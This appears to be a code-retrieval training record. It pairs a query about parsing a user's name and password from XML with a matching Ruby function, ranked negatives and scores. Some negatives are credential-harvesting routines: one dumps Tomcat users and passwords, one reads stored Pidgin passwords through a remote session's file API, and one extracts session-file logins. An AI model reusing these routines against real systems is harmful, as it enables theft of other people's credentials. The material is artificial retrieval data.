"def authorizeXML(params) \n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id\n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\",\n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end \n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false' \n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeXML!\"\n end\n end",
"def parser_xfp(file)\n ini = Rex::Parser::Ini.from_s(file)\n version = ini['SessionInfo']['Version']\n port = ini['Connection']['Port']\n host = ini['Connection']['Host']\n username = ini['Connection']['UserName']\n password = ini['Connection']['Password']\n [version, host, port, username, password]\n end",
"def determine_type(xml)\n id_element = xml.scan(/<id.*?\\/id/).first\n matches = id_element.scan(TYPE_MATCH).flatten\n\n matches.join '_'\n end",
"def read_config\n config_file = File.join(@www, 'config.xml')\n\n if File.exists?(config_file)\n require 'rexml/document'\n f = File.new config_file\n doc = REXML::Document.new(f)\n @config = {}\n @config[:id] = doc.root.attributes[\"id\"]\n @config[:version] = doc.root.attributes[\"version\"]\n @config[:icons] = {}\n defaultIconSize = 0\n doc.root.elements.each do |n|\n @config[:name] = n.text.gsub('-','').gsub(' ','') if n.name == 'name'\n @config[:description] = n.text if n.name == 'description'\n @config[:content] = n.attributes[\"src\"] if n.name == 'content'\n if n.name == 'icon'\n if n.attributes[\"width\"] == '72' && n.attributes[\"height\"] == '72'\n @config[:icons][\"drawable-hdpi\".to_sym] = n.attributes[\"src\"]\n if 72 > defaultIconSize\n @config[:icon] = n.attributes[\"src\"]\n defaultIconSize = 72\n end\n elsif n.attributes[\"width\"] == '48' && n.attributes[\"height\"] == '48'\n @config[:icons][\"drawable-mdpi\".to_sym] = n.attributes[\"src\"]\n if 48 > defaultIconSize\n @config[:icon] = n.attributes[\"src\"]\n defaultIconSize = 48\n end\n elsif n.attributes[\"width\"] == '36' && n.attributes[\"height\"] == '36'\n @config[:icons][\"drawable-ldpi\".to_sym] = n.attributes[\"src\"]\n if 36 > defaultIconSize\n @config[:icon] = n.attributes[\"src\"]\n defaultIconSize = 36\n end\n else\n @config[:icon] = n.attributes[\"src\"]\n end\n end\n\n\n if n.name == \"preference\" && n.attributes[\"name\"] == 'javascript_folder'\n @config[:js_dir] = n.attributes[\"value\"]\n end\n end\n\n # extract android specific stuff\n @config[:versionCode] = doc.elements[\"//android:versionCode\"] ? doc.elements[\"//android:versionCode\"].text : 3\n @config[:minSdkVersion] = doc.elements[\"//android:minSdkVersion\"] ? doc.elements[\"//android:minSdkVersion\"].text : 1\n # will change the name from the directory to the name element text\n @name = @config[:name] if @config[:name]\n # set the icon from the config\n @icon = File.join(@www, @config[:icon]) if @config[:icon]\n @icons = @config[:icons] if @config[:icons].length > 0\n # sets the app js dir where phonegap.js gets copied\n @app_js_dir = @config[:js_dir] ? @config[:js_dir] : ''\n # sets the start page\n @content = @config[:content] ? @config[:content] : 'index.html'\n end\n end",
"def credentials_parse(credentials)\n credentials.each do |key, value|\n credentials[key] = false if value == 'false'\n credentials[key] = true if value == 'true'\n end\n credentials[:hardware_variant] ||= 'C7000'\n credentials\nend",
"def findContext(doc, path)\n \n context = nil\n \n # If user-element is given -> context is user-based, otherwise context is system-based\n if doc.find_first('//xmpp2rest/user')\n puts \"User context\"\n \n username = (doc.find_first('//xmpp2rest/user').attributes.get_attribute(\"username\")) ? doc.find_first('//xmpp2rest/user').attributes.get_attribute(\"username\").value : nil\n \n # If username not found -> malformed uri\n if not username\n raise Exception.new(\"Malformed path: /user, use /user/<username> instead!\")\n else\n path += \"/user/#{username}\"\n puts \"..user\"\n context = :user\n end \n \n \n # Group-context\n if doc.find_first('//xmpp2rest/user/group')\n puts \"..group\"\n groupname = (doc.find_first('//xmpp2rest/user/group').attributes.get_attribute(\"groupname\")) ? doc.find_first('//xmpp2rest/user/group').attributes.get_attribute(\"groupname\").value : nil\n # If group-context is given, but groupname not found -> malformed uri\n if not groupname\n raise Exception.new(\"Malformed path: ../group, use /group/<groupname> instead!\")\n elsif doc.find_first('//xmpp2rest/user/group/user')\n membername = (doc.find_first('//xmpp2rest/user/group/user').attributes.get_attribute(\"username\")) ? doc.find_first('//xmpp2rest/user/group/user').attributes.get_attribute(\"username\").value : nil\n if not membername\n raise Exception.new(\"Malformed path: ../member, use ..member/<username> instead!\")\n end\n puts \"..member\"\n path += \"/group/#{groupname}/member/#{membername}\"\n context = :user_group_member\n else\n path += \"/group/#{groupname}\"\n context = :user_group\n end \n end\n \n \n # Device-context\n if doc.find_first('//xmpp2rest/user/device')\n puts \"..device\"\n devicename = (doc.find_first('//xmpp2rest/user/device').attributes.get_attribute(\"devicename\")) ? doc.find_first('//xmpp2rest/user/device').attributes.get_attribute(\"devicename\").value : nil\n # If device-context is given, but devicename not found -> malformed uri\n if not devicename\n raise Exception.new(\"Malformed path: ../device, use ../device/<devicename> instead!\")\n else\n path += \"/device/#{devicename}\"\n context = :user_device\n end\n end\n end\n \n return context, path\n end",
"def add_authentication(xml)\n xml.tag! :Authentication do\n xml.tag! :client, @options[:login]\n xml.tag! :password, @options[:password]\n end\n end",
"def add_authentication(xml)\n xml.tag! :Authentication do\n xml.tag! :client, @options[:login]\n xml.tag! :password, @options[:password]\n end\n end",
"def parse_device_description(dd)\n dd_xml = Nokogiri::XML(dd)\n raise DeviceDescriptionInvalid if dd_xml.nil?\n dd_xml.remove_namespaces!\n camera_name = dd_xml.css('device friendlyName').inner_text\n services = dd_xml.css('device X_ScalarWebAPI_Service')\n endpoints = {}\n services.each do |sv|\n service_type = sv.css('X_ScalarWebAPI_ServiceType').inner_text\n endpoints[service_type] = File.join(sv.css('X_ScalarWebAPI_ActionList_URL').inner_text, service_type)\n end\n # endpoints['liveview'] = dd_xml.css('device X_ScalarWebAPI_LiveView_URL').inner_text\n # endpoints.delete_if { |k, v| v.blank? }\n log.info \"model-name: #{camera_name}\"\n log.debug 'endpoints:'\n endpoints.each do |e|\n log.debug \" #{e}\"\n end\n endpoints\n end",
"def parse_attribute(pdu)\n type, vals = parse_partial_attribute(pdu)\n\n if vals.empty?\n raise Error::ProtocolError, \"vals of Attribute should not be empty.\"\n end\n\n [type, vals]\n end",
"def parse_xml(xml)\n new from_xml(xml)\n end",
"def load_level_xml(xml_node)\n JSON.parse(xml_node.xpath('//../config').first.text)\n end",
"def info\n Plist::parse_xml(diskutil 'info', '-plist', @dev_node)\n end",
"def parse_profil\n dputs __method__.to_s\n req = setup_http_request($profil_request, @cookie, {})\n res = @http.request(req)\n @current_user = res.body.force_encoding('utf-8').scan(/data-toggle=\"dropdown\">([^<]*)<span class=\"Header-navigationAvatar\">/).flatten.first\n end",
"def to_xml\n return \"\" unless username && password\n\n builder = Builder::XmlMarkup.new\n builder.wsse :Security, \"xmlns:wsse\" => WSENamespace do |xml|\n xml.wsse :UsernameToken, \"wsu:Id\" => wsu_id, \"xmlns:wsu\" => WSUNamespace do\n xml.wsse :Username, username\n xml.wsse :Nonce, nonce\n xml.wsu :Created, timestamp\n xml.wsse :Password, password_node, :Type => password_type\n end\n end\n end",
"def additional_information_xml(xml)\n\n end",
"def device\n xpath '.', 'device'\n end",
"def from_xml(xml)\n parsed_status = \"unknown\"\n\n if xml\n build_names = []\n xml.elements.each(\"feed/entry/title\") {|entry| build_names << entry.text}\n\n build_master = build_names.find {|build_name| build_name.include?(@build_name) }\n parsed_status = build_master.match(/\\(.+\\)/).to_s\n end\n\n case parsed_status\n when \"(stable)\"\n \"stable\"\n when \"(back to normal)\"\n \"stable\"\n when \"(?)\"\n \"building\"\n when \"(aborted)\"\n \"aborted\"\n when /broken/\n \"broken\"\n when \"unknown\"\n \"unknown\"\n else\n \"failed\"\n end\n\n end",
"def enumerate_tomcat_creds(val_installpath)\n users = []\n userpath = val_installpath + \"\\\\conf\\\\tomcat-users.xml\"\n if exist?(userpath)\n xml_data = read_file(userpath)\n doc = REXML::Document.new(xml_data)\n\n if not doc.elements.empty?\n doc.elements.each('tomcat-users/user') do |e|\n e_user=e.attributes['name']\n if e_user.length >0\n e_user=e.attributes['name']\n else\n e.user=e_user=e.attributes['username']\n end\n users << [ e_user,e.attributes['password'],e.attributes['roles'] ]\n print_good(\"\\t\\t+ User:[#{e_user}] Pass:[#{e.attributes['password']}] Roles:[#{e.attributes['roles']}]\")\n end\n else\n print_error(\"\\t\\t! No Users Found\")\n return users\n end\n end\n\n return users\n rescue\n print_error(\"\\t\\t! could not identify users\")\n return users || []\n end",
"def parse_device(device)\n result = parse(device, parent::ParserDictionaryConstants::GUEST_DEVICE)\n\n result[:uid_ems] = mount_uuid(device)\n result[:device_name] = device[\"productName\"] ? device[\"productName\"] : device[\"name\"]\n result[:device_type] = \"storage\"\n result[:firmwares] = parse_device_firmware(device)\n result[:location] = device['slotNumber'] ? \"Bay #{device['slotNumber']}\" : nil\n\n result\n end",
"def parseOnlineStatus(doc, params, path)\n \n status = {}\n \n doc.find('//xmpp2rest/user/device/online/status').each do |status_element|\n \n status_key = (status_element.attributes.get_attribute(\"status_key\")) ? status_element.attributes.get_attribute(\"status_key\").value : nil\n \n if not status_key or status_key == \"\"\n raise Exception.new(\"Error in status_key -attribute. (Must be given, and cannot be empty!)\")\n elsif not status_element.content or status_element.content == \"\"\n raise Exception.new(\"Status element must have content!\")\n end\n \n if status_key == \"device_location\" and \n status_element.find_first(\"location/latitude\") and status_element.find_first(\"location/longitude\") and\n status_element.find_first(\"location/latitude\").content and status_element.find_first(\"location/longitude\").content\n \n location = {}\n location.merge!({'latitude' => status_element.find_first(\"location/latitude\").content.to_f})\n location.merge!({'longitude' => status_element.find_first(\"location/longitude\").content.to_f})\n status.merge!({:device_location => YAML.dump(location)})\n \n elsif status_key == \"uploading_file\" and\n status_element.find_first(\"uploading_file\") and status_element.find_first(\"uploading_file_hash\") and\n status_element.find_first(\"uploading_file\").content and status_element.find_first(\"uploading_file_hash\").content\n\n status.merge!({'uploading_file_hash' => status_element.find_first(\"uploading_file_hash\").content.to_s})\n status.merge!({'uploading_file' => status_element.find_first(\"uploading_file\").content.to_s})\n \n else status_key != \"device_location\" and status_key != \"uploading_file\" and status_element.content\n status.merge!({status_key => status_element.content.to_s})\n end \n end\n params.merge!({:status => YAML.dump(status)})\n return params\n end",
"def cloginrc clogin_file\n close_file = clogin_file\n file = close_file.read\n file = file.gsub('add', '')\n\n hash = {}\n file.each_line do |line|\n # stock all device name, and password and enable if there is one\n line = line.split(' ')\n for i in 0..line.length\n if line[i] == 'user'\n # add the equipment and user if not exist\n unless hash[line[i + 1]]\n hash[line[i + 1]] = { user: line[i + 2] }\n end\n # if the equipment exist, add password and enable password\n elsif line[i] == 'password'\n if hash[line[i + 1]]\n if line.length > i + 2\n h = hash[line[i + 1]]\n h[:password] = line[i + 2]\n if /\\s*/.match(line[i + 3])\n h[:enable] = line[i + 3]\n end\n hash[line[i + 1]] = h\n elsif line.length = i + 2\n h = hash[line[i + 1]]\n h[:password] = line[i + 2]\n hash[line[i + 1]] = h\n end\n end\n end\n end\n end\n close_file.close\n hash\n end",
"def elem(xml, inherited)\n xml.D :ace do\n\n xml.D(:principal) do\n case property_namespace_id\n when nil, 0\n principal.principal_url(xml)\n when -1\n xml.D :self\n else\n xml.D(:property){ propkey.xml(xml) }\n end\n end\n\n action = (grantdeny == GRANT) ? :grant : :deny\n xml.D(action) do\n privileges.each { |p| p.elem(xml) }\n end\n\n xml.D(:protected) if protected?\n\n if inherited\n xml.D(:inherited) { resource.href(xml) }\n end\n\n end\n end",
"def check_os\n # Open the XML file for parsing\n f = File.open(\"tmp/xml_files/a.xml\", \"r\")\n doc = Nokogiri::XML(f)\n f.close\n\n # Variable that holds the name of the OS\n str = \"\"\n \n # Hash that stores key value pair for System Log\n sys = Hash.new\n\n doc.xpath('//sys').children.each do |node|\n if !node.content.blank? then\n \n if node.matches? ('os_group') then\n str = node.content\n end\n\n if node.matches?('form_factor') || node.matches?('hostname') || node.matches?('os_name') || node.matches?('os_version') || node.matches?('serial') || node.matches?('model') || node.matches?('timestamp') then\n sys[node.name] = node.content\n end\n end\n end\n\n # Saving the (System_log) values to the Database\n s = SystemLog.new(sys)\n s.save\n\n # Check for OS_Name and then direct it to the proper action for data extraction\n if str.eql? (\"Windows\") then\n redirect_to :controller => 'sys_tem', :action => 'parse_win'\n else\n redirect_to :controller => 'sys_tem', :action => 'parse_lin'\n end\n end",
"def parse_xml(xml)\n while xml\n read_xml_element(xml)\n xml = xml.next\n end\n end",
"def getxattrs\n # # file: Scissor_Sisters_-_Invisible_Light.flv\n # user.m.options=\"-c\"\n\n cmd = %w[getfattr -d -m - -e base64] + [realpath.to_s]\n\n attrs = {}\n\n IO.popen(cmd, \"rb\", :err=>[:child, :out]) do |io|\n io.each_line do |line|\n if line =~ /^([^=]+)=0s(.+)/\n key = $1\n value = $2.from_base64 # unpack base64 string\n # value = value.encode(\"UTF-8\", \"UTF-8\") # set string's encoding to UTF-8\n value = value.force_encoding(\"UTF-8\").scrub # set string's encoding to UTF-8\n # value = value.encode(\"UTF-8\", \"UTF-8\") # set string's encoding to UTF-8\n\n attrs[key] = value\n end\n end\n end\n\n attrs\n end",
"def process_login_response(email, password, response)\n @email = email\n @password = password\n @token = Parser.extract_user_token response\n @id = Parser.login_object_id response\n @xp = Parser.extract_xp response\n end",
"def parse_ticket_info(xml_element)\n id = xml_element.elements['key'].text rescue \"\"\n id, spacekey = split_spacekey_and_id(id) rescue \"\"\n\n link = xml_element.elements['link'].text rescue \"\"\n title = xml_element.elements['title'].text rescue \"\"\n reporter = xml_element.elements['reporter'].text rescue \"\"\n assignee = xml_element.elements['assignee'].text rescue \"\"\n type = xml_element.elements['type'].text rescue \"\"\n priority = xml_element.elements['priority'].text rescue \"\"\n updated = xml_element.elements['updated'].text rescue \"\"\n status = xml_element.elements['status'].text rescue \"\"\n\n return {\n :spacekey => spacekey,\n :id => id,\n :link => link,\n :title => title,\n :reporter => reporter,\n :assignee => assignee,\n :type => type,\n :priority => priority,\n :updated => updated,\n :status => status\n }\n end",
"def extract_values_from_xml\n debug(\"Field#extract_values_from_xml xml: #{xml.inspect}\")\n unless extracted_value || xml.nil? || locator.nil?\n value = dereference? ? dereference(extract_first_node(locator)) : extract_node_value(locator)\n # since we have both xml and locator , a nil is the real return value\n # and should be wrapped just like any other\n self.extracted_value = FieldValue.new(value)\n end\n extracted_value\n end",
"def parse_xml (xml)\n\n xml = REXML::Document.new(xml) \\\n if xml.is_a?(String)\n\n xml = xml.root \\\n if xml.is_a?(REXML::Document)\n\n if xml.is_a?(REXML::Text)\n\n s = xml.to_s.strip\n\n return s if s.length > 0\n\n return nil\n end\n\n return nil if xml.is_a?(REXML::Comment)\n\n # then it's a REXML::Element\n\n rep = [\n xml.name,\n xml.attributes.inject({}) { |r, (k, v)| r[k] = v; r },\n [] ]\n\n xml.children.each do |c|\n\n r = parse_xml(c)\n\n rep.last << r if r\n end\n\n rep\n end",
"def parse_attrlist\n tok = readbyte\n list = []\n currentname = nil\n currentvalue = \"\"\n while tok != END_T\n if tok == SWITCH_PAGE\n @attr_codepage = readbyte\n elsif tok == STR_I\n currentvalue += readntstring\n elsif tok == STR_T\n currentvalue += @stringtable[parse_mbint]\n elsif tok == ENTITY\n currentvalue << readmbstr\n elsif tok == OPAQUE\n currentvalue << readstring # TODO: What should we do for opaque in an attribute?\n elsif tok == EXT_0\n currentvalue << \"&wbxml_#{@attr_codepage.to_s 16}_ext0;\"\n elsif tok == EXT_1\n currentvalue << \"&wbxml_#{@attr_codepage.to_s 16}_ext1;\"\n elsif tok == EXT_2\n currentvalue << \"&wbxml_#{@attr_codepage.to_s 16}_ext2;\"\n # TODO: Deal with extension tokens that have a string payload\n elsif tok == LITERAL\n if currentname\n list << [currentname, currentvalue]\n end\n currentname = @stringtable[parse_mbint]\n currentvalue = \"\"\n elsif tok < 128 # ATTRSTART\n if currentname\n list << [currentname, currentvalue]\n end\n currentname, currentvalue = get_attr_start(tok)\n elsif tok > 128 # ATTRVALUE\n currentvalue += get_attr_value(tok)\n end\n tok = readbyte\n end\n if currentname\n list << [currentname, currentvale]\n end\n list\n end",
"def parse(arg,force_encoding=nil)\n\n xml=open(arg,force_encoding)\n @products=[]\n\n root = xml.root\n\n case root\n when tag_match(\"ONIXMessage\")\n root.children.each do |e|\n case e\n when tag_match(\"Header\")\n e.children.each do |t|\n case t\n when tag_match(\"Sender\")\n @sender=Sender.from_xml(t)\n when tag_match(\"SentDateTime\")\n tm=t.text\n @sent_date_time=Time.strptime(tm, \"%Y%m%dT%H%M%S\") rescue Time.strptime(tm, \"%Y%m%dT%H%M\") rescue Time.strptime(tm, \"%Y%m%d\") rescue nil\n when tag_match(\"DefaultLanguageOfText\")\n @default_language_of_text=LanguageCode.from_code(t.text)\n when tag_match(\"DefaultCurrencyCode\")\n @default_currency_code=t.text\n end\n end\n when tag_match(\"Product\")\n product=Product.from_xml(e)\n product.default_language_of_text=@default_language_of_text\n product.default_currency_code=@default_currency_code\n @products << product\n\n end\n end\n\n when tag_match(\"Product\")\n product=Product.from_xml(xml.root)\n product.default_language_of_text=@default_language_of_text\n product.default_currency_code=@default_currency_code\n @products << product\n end\n\n init_vault\n\n end"
] |
[
"0.5899146",
"0.56406736",
"0.5602265",
"0.55816984",
"0.5552967",
"0.54880935",
"0.5461128",
"0.5451781",
"0.5427604",
"0.5340531",
"0.523414",
"0.5094814",
"0.5083051",
"0.50740397",
"0.5004393",
"0.49906373",
"0.49274254",
"0.49213305",
"0.489434",
"0.4878623",
"0.48465493",
"0.48302758",
"0.48170626",
"0.48076943",
"0.4754267",
"0.47466",
"0.4742831",
"0.47269586",
"0.4726188",
"0.4726123",
"0.4710191",
"0.47051993",
"0.46918932",
"0.46790358",
"0.46715266",
"0.46568298",
"0.46562713",
"0.46562347",
"0.465573",
"0.46514016",
"0.46509743",
"0.46430132",
"0.46293092",
"0.46265802",
"0.46248648",
"0.4621501",
"0.46076986",
"0.46001163",
"0.45841935",
"0.45785445",
"0.45665577",
"0.45663968",
"0.4555686",
"0.45463926",
"0.45420358",
"0.45373085",
"0.45354012",
"0.4531072",
"0.4526798",
"0.4521372",
"0.4517703",
"0.45127836",
"0.4507903",
"0.45062336",
"0.44896755",
"0.44878912",
"0.4486352",
"0.4477342",
"0.44770315",
"0.44744465",
"0.447113",
"0.44699934",
"0.44619346",
"0.44616264",
"0.44548145",
"0.44548145",
"0.4453359",
"0.44523647",
"0.4447065",
"0.44439808",
"0.4443282",
"0.4443268",
"0.44397497",
"0.4433075",
"0.44293872",
"0.44279328",
"0.44230595",
"0.4421681",
"0.44152293",
"0.44115603",
"0.4406968",
"0.440668",
"0.43953303",
"0.43912998",
"0.43873307",
"0.43816388",
"0.43672976",
"0.43659067",
"0.43614918",
"0.43567833"
] |
0.6075635
|
0
|
Parses user's real name and password from xml
|
def parseUserData(doc, params)
real_name = (doc.find_first('//xmpp2rest/user/real_name')) ? doc.find_first('//xmpp2rest/user/real_name').content : nil
password = (doc.find_first('//xmpp2rest/user/password')) ? doc.find_first('//xmpp2rest/user/password').content : nil
if not real_name or not password
raise Exception.new("Missing elements data for creating new user!")
end
params.merge!({:real_name => real_name})
params.merge!({:password => password})
return params
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def login_user(xml) \n login = xml.root.get_elements('User').first.text \n password = xml.root.get_elements('Password').first.text \n self.current_user = User.authenticate(login, password) \n end",
"def parse_user!\n login_xml = Hpricot.XML(self.login_token) \n item = (login_xml/:login).first\n self.login_type = item[\"type\"]\n self.login_id = (item/:login_id).inner_html\n self.name = (item/:name).inner_html\n self.email = (item/:email).inner_html\n self.expires_at = (item/:expires_at).inner_html\n self.auth_for = (item/:auth_for).inner_html\n return true \n end",
"def build_user_details(xml, options)\n xml.User{\n xml.Name(@options[:user])\n xml.Password(@options[:password])\n xml.ClientId(@options[:clientId], :DataType => \"S32\")\n }\n end",
"def append_user_info(username, xml); end",
"def me\n users(request(\"users/authenticate.xml\", :auth => true))\n end",
"def append_user_info(username, xml)\n end",
"def extract_creds(path)\n\taccounts_xml = \"\"\n\tcreds = \"\"\n\tprint_status(\"Reading accounts.xml file...\")\n\t### modified to use pidgin_path, which already has .purple in it\n\taccount_file = @client.fs.file.new(path + \"\\\\accounts.xml\", \"rb\")\n\tuntil account_file.eof?\n\t\taccounts_xml << account_file.read\n\tend\n\taccount_file.close\n\tdoc = (REXML::Document.new accounts_xml).root\n\tdoc.elements.each(\"account\") {|element|\n\t\tpassword = \"<unknown>\"\n\t\tif element.elements[\"password\"]\n\t\t\tpassword=element.elements[\"password\"].text\n\t\tend\n\n\t\tprint_status(\"\\tProtocol: #{element.elements[\"protocol\"].text}\")\n\t\tprint_status(\"\\tUsername: #{element.elements[\"name\"].text}\")\n\t\tprint_status(\"\\tPassword: #{element.elements[\"password\"].text}\")\n\t\tprint_status(\"\\tServer: #{element.elements[\"settings\"].elements[\"setting[@name='server']\"].text}\")\n\t\tprint_status(\"\\tPort: #{element.elements[\"settings\"].elements[\"setting[@name='port']\"].text}\")\n\t\tprint_status()\n\n\t\tcreds << \"user=>#{element.elements[\"name\"].text}\"\n\t\tcreds << \"\\tpass=>#{password}\"\n\t\tcreds << \"\\tserver=>#{element.elements[\"settings\"].elements[\"setting[@name='server']\"].text}\"\n\t\tcreds << \":#{element.elements[\"settings\"].elements[\"setting[@name='port']\"].text}\"\n\t\tcreds << \"\\tproto=>#{element.elements[\"protocol\"].text}\\n\"\n\t}\n\treturn creds\nend",
